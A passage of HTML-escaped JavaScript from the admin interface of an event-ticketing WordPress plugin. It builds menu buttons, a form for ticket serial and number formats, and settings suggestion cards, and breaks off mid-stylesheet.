			.attr(&quot;aria-label&quot;, &quot;Event Tickets navigation&quot;);
		$(&#039;&lt;button/&gt;&#039;)
			.addClass(&#039;event-tickets-with-ticket-scanner-topmenu-item&#039;)
			.toggleClass(&#039;event-tickets-with-ticket-scanner-topmenu-item-active&#039;, STATE === &#039;support&#039;)
			.html(_x(&quot;Support Info&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
			.on(&quot;click&quot;, () =&gt; {
				_displaySupportInfoArea();
			})
			.appendTo(btn_grp);
		$(&#039;&lt;button/&gt;&#039;)
			.addClass(&quot;event-tickets-with-ticket-scanner-topmenu-item&quot;)
			.toggleClass(&#039;event-tickets-with-ticket-scanner-topmenu-item-active&#039;, STATE === &#039;faq&#039;)
			.html(_x(&quot;FAQ&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
			.on(&quot;click&quot;, ()=&gt;{
				_displayFAQArea();
			}).appendTo(btn_grp);
		//if (_getOptions_Versions_isActivatedByKey(&#039;is_wc_available&#039;)) {
			$(&#039;&lt;button/&gt;&#039;).addClass(&quot;event-tickets-with-ticket-scanner-topmenu-item&quot;).html(_x(&quot;Ticket Scanner&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
			.on(&quot;click&quot;, ()=&gt;{
				let url = _getTicketScannerURL();
				window.open(url, &#039;ticketscanner&#039;);
			})
			.appendTo(btn_grp);
		//}
		$(&#039;&lt;button/&gt;&#039;)
			.addClass(&quot;event-tickets-with-ticket-scanner-topmenu-item&quot;)
			.toggleClass(&#039;event-tickets-with-ticket-scanner-topmenu-item-active&#039;, STATE === &#039;authtokens&#039;)
			.html(_x(&#039;Auth Token&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
			.on(&quot;click&quot;, ()=&gt;{
				_displayAuthTokensArea();
			}).appendTo(btn_grp);
		if (isPremium()) {
			$(&#039;&lt;button/&gt;&#039;)
				.addClass(&quot;event-tickets-with-ticket-scanner-topmenu-item&quot;)
				.toggleClass(&#039;event-tickets-with-ticket-scanner-topmenu-item-active&#039;, STATE === &#039;attendance&#039;)
				.html(_x(&#039;Attendance&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&quot;click&quot;, ()=&gt;{
					_displayAttendanceArea();
				}).appendTo(btn_grp);
		}
		$(&#039;&lt;button/&gt;&#039;)
			.addClass(&quot;event-tickets-with-ticket-scanner-topmenu-item&quot;)
			.toggleClass(&#039;event-tickets-with-ticket-scanner-topmenu-item-active&#039;, STATE === &#039;options&#039;)
			.html(_x(&#039;Options&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
			.on(&quot;click&quot;, ()=&gt;{
				_displayOptionsArea();
			}).appendTo(btn_grp);

		if (isPremium()) {
			btn_grp = PREMIUM.displaySettingAreaButton(btn_grp);
		}
		return btn_grp;
	}

	function _form_fields_serial_format(appendToDiv) {
		let input_prefix_codes;
		let input_type_codes;
		let input_amount_letters;
		let input_letter_excl;
		let input_letter_style;
		let input_include_numbers;
		let input_serial_delimiter;
		let input_serial_delimiter_space;
		let input_number_start;
		let input_number_offset;

		let noNumbersOptions = false;
		let cbk = null;
		let formatterValues;

		function _setNoNumberOptions() {
			noNumbersOptions = true;
		}
		function _setCallbackHandle(_cbk) {
			cbk = _cbk;
		}
		function _callCallbackHandle() {
			cbk &amp;&amp; cbk(_getFormatterValues());
		}
		function _setFormatterValues(values) {
			formatterValues = values;
		}

		function __render() {
			$(&#039;&lt;br&gt;&#039;).appendTo(appendToDiv);
			// prefix
			let div_prefix_codes = _createDivInput(_x(&quot;Enter a prefix (optional)&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(appendToDiv);
				input_prefix_codes = $(&#039;&lt;input type=&quot;text&quot;&gt;&#039;).appendTo(div_prefix_codes);
				$(&#039;&lt;div&gt;&#039;).html(__(&#039;You can use date placeholder to have the prefix filled with the date of the confirmed purchase.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&#039;+__(&#039;You can use: {Y} = year, {m} = month, {d} = day, {H} = hour, {i} = minutes, {s} = seconds, {TIMESTAMP} = unix timestamp.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_prefix_codes);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_prefix_codes&#039;] != null) input_prefix_codes.val(formatterValues[&#039;input_prefix_codes&#039;]);
				input_prefix_codes.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
			// type numbers/serials
			let div_type_codes = _createDivInput(_x(&quot;Choose type of ticket numbers&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(appendToDiv);
			input_type_codes = $(&#039;&lt;select&gt;&lt;option value=&quot;1&quot; selected&gt;&#039;+_x(&#039;Serials&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;&#039;+_x(&#039;Numbers&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&#039;).appendTo(div_type_codes);
			if (formatterValues &amp;&amp; formatterValues[&#039;input_type_codes&#039;] != null) input_type_codes.val(formatterValues[&#039;input_type_codes&#039;]);

			if (noNumbersOptions) {
				input_type_codes.prop(&quot;disabled&quot;, true);
			}
			input_type_codes.on(&quot;change&quot;, function() {
				if (input_type_codes.val() === &quot;2&quot;) {
					div_serials &amp;&amp; div_serials.find(&quot;input&quot;).prop(&quot;disabled&quot;, true);
					div_serials &amp;&amp; div_serials.find(&quot;select&quot;).prop(&quot;disabled&quot;, true);
					div_numbers &amp;&amp; div_numbers.find(&quot;input&quot;).prop(&quot;disabled&quot;, false);
					div_numbers &amp;&amp; div_numbers.find(&quot;select&quot;).prop(&quot;disabled&quot;, false);
				} else {
					div_serials &amp;&amp; div_serials.find(&quot;input&quot;).prop(&quot;disabled&quot;, false);
					div_serials &amp;&amp; div_serials.find(&quot;select&quot;).prop(&quot;disabled&quot;, false);
					div_numbers &amp;&amp; div_numbers.find(&quot;input&quot;).prop(&quot;disabled&quot;, true);
					div_numbers &amp;&amp; div_numbers.find(&quot;select&quot;).prop(&quot;disabled&quot;, true);
				}
				_callCallbackHandle();
			});
			// serials options
			let div_serials = $(&#039;&lt;div&gt;&#039;).html(&#039;&lt;h4&gt;&#039;+_x(&#039;Serials options&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h4&gt;&#039;).appendTo(appendToDiv);
				// anzahl letters
				let div_amount_letters = _createDivInput(_x(&#039;Amount of letter needed&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_serials);
				input_amount_letters = $(&#039;&lt;input type=&quot;number&quot; required value=&quot;21&quot; min=&quot;1&quot; max=&quot;30&quot;&gt;&#039;).appendTo(div_amount_letters);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_amount_letters&#039;] != null) input_amount_letters.val(formatterValues[&#039;input_amount_letters&#039;]);
				input_amount_letters.on(&quot;change&quot;, function(){
					input_serial_delimiter.trigger(&quot;change&quot;);
					_callCallbackHandle();
				});
				// select letter exclusion
				let div_letter_excl = _createDivInput(_x(&#039;Letter exclusion&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_serials);
				input_letter_excl = $(&#039;&lt;select&gt;&lt;option value=&quot;1&quot;&gt;&#039;+_x(&#039;None&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot; selected&gt;i,l,o,p,q&lt;/option&gt;&lt;/select&gt;&#039;).appendTo(div_letter_excl);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_letter_excl&#039;] != null) input_letter_excl.val(formatterValues[&#039;input_letter_excl&#039;]);
				input_letter_excl.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
				// radio button text gross/klein/both/none
				let div_letter_style = _createDivInput(_x(&#039;Letter style&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_serials);
				input_letter_style = $(&#039;&lt;select&gt;&lt;option value=&quot;1&quot; selected&gt;&#039;+_x(&#039;Uppercase&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;&#039;+_x(&#039;Lowercase&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;3&quot;&gt;&#039;+_x(&#039;Both&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&#039;).appendTo(div_letter_style);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_letter_style&#039;] != null) input_letter_style.val(formatterValues[&#039;input_letter_style&#039;]);
				input_letter_style.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
				// radio button numbers/none
				let div_include_numbers = _createDivInput(_x(&#039;Numbers needed?&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_serials);
				input_include_numbers = $(&#039;&lt;select&gt;&lt;option value=&quot;1&quot;&gt;&#039;+_x(&#039;No&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot; selected&gt;&#039;+_x(&#039;Yes&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;3&quot;&gt;&#039;+_x(&#039;Only numbers&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&#039;).appendTo(div_include_numbers);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_include_numbers&#039;] != null) input_include_numbers.val(formatterValues[&#039;input_include_numbers&#039;]);
				input_include_numbers.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
				// select delimiter none/-/./space
				let div_serial_delimiter = _createDivInput(_x(&#039;Delimiter?&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_serials);
				input_serial_delimiter = $(&#039;&lt;select&gt;&lt;option value=&quot;1&quot;&gt;&#039;+_x(&#039;None&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot; selected&gt;-&lt;/option&gt;&lt;option value=&quot;4&quot;&gt;:&lt;/option&gt;&lt;option value=&quot;3&quot;&gt;&#039;+_x(&#039;Space&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&#039;).appendTo(div_serial_delimiter);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_serial_delimiter&#039;] != null) input_serial_delimiter.val(formatterValues[&#039;input_serial_delimiter&#039;]);
				function __refreshDelimiterSpace() {
					input_serial_delimiter_space.html(&quot;&quot;);
					if (input_serial_delimiter.val() !== &quot;1&quot;) {
						let anzahl = parseInt(input_amount_letters.val(),10);
						if (anzahl &gt; 0) {
							for(let a=1;a&lt;anzahl;a++) input_serial_delimiter_space.append($(&#039;&lt;option&#039;+(anzahl &gt; 2 &amp;&amp; a === 7 ? &quot; selected&quot;: &quot;&quot;)+&#039;&gt;&#039;).attr(&quot;value&quot;,a).html(a));
						}
					}
				}
				input_serial_delimiter.on(&quot;change&quot;, function(){
					__refreshDelimiterSpace();
					_callCallbackHandle();
				});
				// choose delimiter space
				let div_serial_delimiter_space = _createDivInput(_x(&#039;After how many letters?&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_serials);
				input_serial_delimiter_space = $(&#039;&lt;select&gt;&lt;/select&gt;&#039;).appendTo(div_serial_delimiter_space);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_serial_delimiter&#039;] != null) {
					// setze Werte erstmal ein
					__refreshDelimiterSpace();
				}
				if (formatterValues &amp;&amp; formatterValues[&#039;input_serial_delimiter_space&#039;] != null) input_serial_delimiter_space.val(formatterValues[&#039;input_serial_delimiter_space&#039;]);
				input_serial_delimiter_space.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
			// numbers options
			let div_numbers = $(&#039;&lt;div&gt;&#039;).html(&#039;&lt;h4&gt;&#039;+_x(&#039;Numbers options&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h4&gt;&#039;).appendTo(appendToDiv);
				if (noNumbersOptions) div_numbers.css(&quot;display&quot;,&quot;none&quot;);
				// number start
				let div_number_start = _createDivInput(_x(&#039;Start number&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_numbers);
				input_number_start = $(&#039;&lt;input type=&quot;number&quot; disabled required value=&quot;10000&quot; min=&quot;1&quot;&gt;&#039;).appendTo(div_number_start);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_number_start&#039;] != null) input_number_start.val(formatterValues[&#039;input_number_start&#039;]);
				input_number_start.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
				// number offset
				let div_number_offset = _createDivInput(_x(&#039;Offset for each number&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(div_numbers);
				input_number_offset = $(&#039;&lt;input type=&quot;number&quot; disabled required value=&quot;1&quot; min=&quot;1&quot;&gt;&#039;).appendTo(div_number_offset);
				if (formatterValues &amp;&amp; formatterValues[&#039;input_number_offset&#039;] != null) input_number_offset.val(formatterValues[&#039;input_number_offset&#039;]);
				input_number_offset.on(&quot;change&quot;, ()=&gt;{
					_callCallbackHandle();
				});
		}

		function __generateCode(length, cases, withnumbers, exclusion) {
			let charset = &#039;abcdefghijklmnopqrstuvwxyz&#039;;
			if (cases === 1) charset = charset.toUpperCase();
			if (cases === 3) charset += charset.toUpperCase();
		    if (withnumbers === 2) charset += &#039;0123456789&#039;;
		    if (withnumbers === 3) charset = &#039;0123456789&#039;;
		    if (typeof exclusion !== &quot;undefined&quot;) {
		    	exclusion.forEach(function(v){
		    		let regex = new RegExp(v, &#039;gi&#039;);
		    		charset = charset.replace(regex, &quot;&quot;);
		    	});
		    }
		    let retVal = &quot;&quot;;
		    for (var i = 0, n = charset.length; i &lt; length; ++i) {
		        retVal += charset.charAt(Math.floor(Math.random() * n));
		    }
		    return retVal;
		}
		function __insertSeperator(str, serial_delimiter, serial_delimiter_space) {
			if (str !== &quot;&quot; &amp;&amp; serial_delimiter !== &quot;&quot; &amp;&amp; serial_delimiter_space &gt; 0) {
				let result = [str[0]];
				for(let x=1; x&lt;str.length; x++) {
	    			if (x%serial_delimiter_space === 0) {
	      				result.push(serial_delimiter, str[x]);
	     			} else {
	      				result.push(str[x]);
	     			}
	  			}
				return result.join(&#039;&#039;);
			}
			return str;
		}

		function _isTypeNumbers() {
			return input_type_codes.val()  === &quot;2&quot;;
		}
		function _getPrefix() {
			return input_prefix_codes.val().trim();
		}
		function _getAmountLetters() {
			let amount_letters = parseInt(input_amount_letters.val().trim(),10);
			if (isNaN(amount_letters) || amount_letters &lt; 1) {
				input_amount_letters.select();
				return alert(__(&quot;Amount of letters has to be higher&quot;, &#039;event-tickets-with-ticket-scanner&#039;));
			}
			return amount_letters;
		}
		function _getLetterExclusion() {
			return input_letter_excl.val() === &quot;2&quot; ? [&#039;i&#039;,&#039;l&#039;,&#039;o&#039;,&#039;p&#039;,&#039;q&#039;] : [];
		}
		function _getLetterStyle() {
			return parseInt(input_letter_style.val(),10);
		}
		function _getIncludeNumbers() {
			return parseInt(input_include_numbers.val(),10);
		}
		function _getSerialDelimiter() {
			return [&#039;&#039;,&#039;-&#039;,&#039; &#039;,&#039;:&#039;][parseInt(input_serial_delimiter.val(),10)-1];
		}
		function _getSerialDelimiterSpace() {
			let serial_delimiter_space = 0;
			try {
				serial_delimiter_space = _getSerialDelimiter() !== &quot;&quot; ? parseInt(input_serial_delimiter_space.val(),10) : 0;
			} catch (e) {}
			return serial_delimiter_space;
		}
		function _getNumberStart() {
			let start_number = parseInt(input_number_start.val().trim(),10);
			if (isNaN(start_number) || start_number &lt; 1) {
				input_number_start.select();
				return alert(__(&quot;Your start number is not correct. It has to be an integer bigger than 0&quot;, &#039;event-tickets-with-ticket-scanner&#039;));
			}
			return start_number;
		}
		function _getNumberOffset() {
			let number_offset = parseInt(input_number_offset.val().trim(),10);
			if (isNaN(number_offset) || number_offset &lt; 1) number_offset = 1;
			return number_offset;
		}
		function _generateSerialCode(offsetCounter) {
			let code;
			let prefix = _getPrefix();
			if (_isTypeNumbers()) { // numbers
				if (!offsetCounter) offsetCounter = 0;
				let number_offset = offsetCounter * _getNumberOffset();
				code = _getNumberStart() + number_offset;
				if (prefix !== &#039;&#039;) code = prefix + code;
			} else {
				code = __generateCode(_getAmountLetters(), _getLetterStyle(), _getIncludeNumbers(), _getLetterExclusion());
				code = __insertSeperator(code, _getSerialDelimiter(), _getSerialDelimiterSpace());
				if (prefix !== &#039;&#039;) code = prefix + code;
			}
			return code;
		}
		function _getFormatterValues() {
			return {
				input_prefix_codes:_getPrefix().replace(&#039;/&#039;, &#039;-&#039;),
				input_type_codes:input_type_codes.val(),
				input_amount_letters:_getAmountLetters(),
				input_letter_excl:input_letter_excl.val(),
				input_letter_style:_getLetterStyle(),
				input_include_numbers:input_include_numbers.val(),
				input_serial_delimiter:input_serial_delimiter.val(),
				input_serial_delimiter_space:input_serial_delimiter_space.val(),
				input_number_start:_getNumberStart(),
				input_number_offset:_getNumberOffset()
			};
		}

		return {
			render:__render,
			getAmountLetters:_getAmountLetters,
			getLetterExclusion:_getLetterExclusion,
			getLetterStyle:_getLetterStyle,
			getIncludeNumbers:_getIncludeNumbers,
			getSerialDelimiter:_getSerialDelimiter,
			getSerialDelimiterSpace:_getSerialDelimiterSpace,
			getNumberStart:_getNumberStart,
			getNumberOffset:_getNumberOffset,
			isTypeNumbers:_isTypeNumbers,
			getPrefix:_getPrefix,
			generateSerialCode:_generateSerialCode,
			setNoNumberOptions:_setNoNumberOptions,
			getFormatterValues:_getFormatterValues,
			setCallbackHandle:_setCallbackHandle,
			setFormatterValues:_setFormatterValues
		};
	}

	function _createDivInput(label) {
		return $(&#039;&lt;div/&gt;&#039;).css({
			&quot;display&quot;: &quot;inline-block&quot;,
		    &quot;margin-bottom&quot;: &quot;15px&quot;,
		    &quot;margin-right&quot;: &quot;15px&quot;
		}).html(label+&quot;&lt;br&gt;&quot;);
	}

	// ── Context-Wizards: smart suggestions on options page (#232) ──

	var _sessionDismissedSuggestions = [];

	function __getContextSuggestions() {
		return [
			// ── Email Cluster ──
			{
				id: &#039;email_ics_attach&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketAttachTicketToMail&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketAttachICSToMail&#039;);
				},
				targetKey: &#039;wcTicketAttachICSToMail&#039;,
				targetVal: 1,
				premium: true
			},
			{
				id: &#039;email_download_all_pdf&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketAttachTicketToMail&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketDisplayDownloadAllTicketsPDFButtonOnMail&#039;);
				},
				targetKey: &#039;wcTicketDisplayDownloadAllTicketsPDFButtonOnMail&#039;,
				targetVal: 1,
				premium: true
			},
			{
				id: &#039;email_badge_link&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketBadgeDisplayButtonOnDetail&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketBadgeAttachLinkToMail&#039;);
				},
				targetKey: &#039;wcTicketBadgeAttachLinkToMail&#039;,
				targetVal: 1,
				premium: false
			},
			{
				id: &#039;email_view_link_when_pdf_hidden&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketDontDisplayPDFButtonOnMail&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketDisplayOrderTicketsViewLinkOnMail&#039;);
				},
				targetKey: &#039;wcTicketDisplayOrderTicketsViewLinkOnMail&#039;,
				targetVal: 1,
				premium: false
			},
			// ── Scanner Cluster ──
			{
				id: &#039;scanner_auto_redeem&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;ticketScannerStartCamWithoutButtonClicked&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;ticketScannerScanAndRedeemImmediately&#039;);
				},
				targetKey: &#039;ticketScannerScanAndRedeemImmediately&#039;,
				targetVal: 1,
				premium: false
			},
			{
				id: &#039;scanner_vibrate&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;ticketScannerScanAndRedeemImmediately&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;ticketScannerVibrate&#039;);
				},
				targetKey: &#039;ticketScannerVibrate&#039;,
				targetVal: 1,
				premium: false
			},
			{
				id: &#039;scanner_confirmed_count&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketAllowRedeemTicketAfterEnd&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketScannerDisplayConfirmedCount&#039;);
				},
				targetKey: &#039;wcTicketScannerDisplayConfirmedCount&#039;,
				targetVal: 1,
				premium: false
			},
			// ── Ticket Display Cluster ──
			{
				id: &#039;display_date_on_product&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketDisplayDateOnMail&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketDisplayDateOnPrdDetail&#039;);
				},
				targetKey: &#039;wcTicketDisplayDateOnPrdDetail&#039;,
				targetVal: 1,
				premium: false
			},
			{
				id: &#039;display_customer_note&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketShowInputFieldsOnCheckoutPage&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketDisplayCustomerNote&#039;);
				},
				targetKey: &#039;wcTicketDisplayCustomerNote&#039;,
				targetVal: 1,
				premium: false
			},
			{
				id: &#039;display_redirect_after_redeem&#039;,
				trigger: function() {
					return _getOptions_isActivatedByKey(&#039;wcTicketShowRedeemBtnOnTicket&#039;)
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;wcTicketRedirectUser&#039;);
				},
				targetKey: &#039;wcTicketRedirectUser&#039;,
				targetVal: 1,
				premium: false
			},
			// ── Security Cluster (Premium) ──
			{
				id: &#039;security_ip_block&#039;,
				trigger: function() {
					return isPremium()
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;activateUserIPBlock&#039;);
				},
				targetKey: &#039;activateUserIPBlock&#039;,
				targetVal: 1,
				premium: true
			},
			{
				id: &#039;security_ip_tracking&#039;,
				trigger: function() {
					return isPremium()
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;trackIPCodeChecker&#039;);
				},
				targetKey: &#039;trackIPCodeChecker&#039;,
				targetVal: 1,
				premium: true
			},
			// ── Wallet ──
			{
				id: &#039;wallet_vollstart_enable&#039;,
				trigger: function() {
					return OPTIONS.infos &amp;&amp; OPTIONS.infos.ticket &amp;&amp; OPTIONS.infos.ticket.counter &gt; 0
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;walletVollstartEnable&#039;);
				},
				targetKey: &#039;walletVollstartEnable&#039;,
				targetVal: 1,
				premium: false
			},
			// ── Eventado public calendar (Premium) ──
			{
				id: &#039;eventado_publish_enable&#039;,
				trigger: function() {
					return isPremium()
						&amp;&amp; OPTIONS.mapKeys
						&amp;&amp; OPTIONS.mapKeys.eventCalendarPublishEnable
						&amp;&amp; !_getOptions_isActivatedByKey(&#039;eventCalendarPublishEnable&#039;);
				},
				targetKey: &#039;eventCalendarPublishEnable&#039;,
				targetVal: 1,
				premium: true
			}
		];
	}

	function __getSuggestionMessage(id) {
		var messages = {
			&#039;email_ics_attach&#039;: {
				context: __(&#039;You have PDF ticket attachment enabled for emails.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to attach the ICS calendar file to the purchase emails?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;email_download_all_pdf&#039;: {
				context: __(&#039;You have PDF ticket attachment enabled for emails.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to include a &quot;Download all tickets as one PDF&quot; link in the email?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;email_badge_link&#039;: {
				context: __(&#039;You show the badge download button on the ticket detail page.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to include the badge download link in the purchase emails?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;email_view_link_when_pdf_hidden&#039;: {
				context: __(&#039;You have hidden the PDF download button on purchase emails.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you want to show the &quot;View all tickets&quot; link in the email instead?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;scanner_auto_redeem&#039;: {
				context: __(&#039;You have auto-start camera enabled for the ticket scanner.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to enable automatic ticket redemption on scan?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;scanner_vibrate&#039;: {
				context: __(&#039;You have automatic scan-and-redeem enabled.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to enable haptic feedback (vibration) when a ticket is scanned?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;scanner_confirmed_count&#039;: {
				context: __(&#039;You allow tickets to be redeemed after the event end date.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to display the confirmed scan count on the ticket scanner?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;display_date_on_product&#039;: {
				context: __(&#039;You show the event date on the purchase order email.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to show the event date on the product detail page?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;display_customer_note&#039;: {
				context: __(&#039;You show input fields on the checkout page.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to display the customer note on the ticket PDF?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;display_redirect_after_redeem&#039;: {
				context: __(&#039;You show the self-redeem button on the ticket detail page.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you also want to redirect the customer after they redeem their ticket?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;security_ip_block&#039;: {
				context: __(&#039;You have the premium plugin active.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you want to enable IP blocking to protect against brute-force ticket validation attempts?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;security_ip_tracking&#039;: {
				context: __(&#039;You have the premium plugin active.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you want to enable IP tracking for ticket validation requests?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;wallet_vollstart_enable&#039;: {
				context: __(&#039;Your customers can collect their tickets in the free Vollstart Wallet app.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you want to enable the &quot;Add to Vollstart Wallet&quot; button on ticket pages and in emails?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			},
			&#039;eventado_publish_enable&#039;: {
				context: __(&#039;Eventado.com is a free public event calendar — Premium customers can list their ticket events automatically.&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				question: __(&#039;Do you want to publish your ticket events to Eventado.com for more reach and SEO?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)
			}
		};
		return messages[id] || {context: &#039;&#039;, question: &#039;&#039;};
	}

	function __renderContextSuggestions(container) {
		container.find(&#039;.saso-context-suggestions&#039;).remove();

		var suggestions = __getContextSuggestions();
		var dismissed = (OPTIONS.dismissed_suggestions || []).concat(_sessionDismissedSuggestions);

		var active = suggestions.filter(function(s) {
			if (s.premium &amp;&amp; !isPremium()) return false;
			if (dismissed.indexOf(s.id) &gt;= 0) return false;
			try { return s.trigger(); } catch(e) { return false; }
		});

		active = active.slice(0, 3);
		if (active.length === 0) return;

		if (!$(&#039;#saso-ctx-suggestions-styles&#039;).length) {
			$(&#039;&lt;style id=&quot;saso-ctx-suggestions-styles&quot;/&gt;&#039;).text(
				&#039;.saso-context-suggestions{margin:15px 0 20px 0;}&#039; +
				&#039;.saso-ctx-card{background:#fff;border:1px solid #c3c4c7;border-left:4px solid #dba617;padding:14px 18px;margin-bottom:10px;border-radius:4px;box-shadow:0 1px 1px rgba(0,0,0,.04);}&#039; +
				&#039;.saso-ctx-body{display:flex;align-items:flex-start;gap:10px;margin-bottom:10px;}&#039; +
				&#039;.saso-ctx-icon{color:#dba617;font-size:22px;flex-shrink:0;margin-top:2px;}&#039; +
				&#039;.saso-ctx-text{flex:1;}&#039; +
				&#039;.saso-ctx-context{font-size:13px;color:#646970;margin-bottom:3px;}&#039; +
				&#039;.saso-ctx-question{font-size:14px;color:#1d2327;font-weight:500;}&#039; +
				&#039;.saso-ctx-buttons{display:flex;gap:8px;align-items:center;}&#039; +
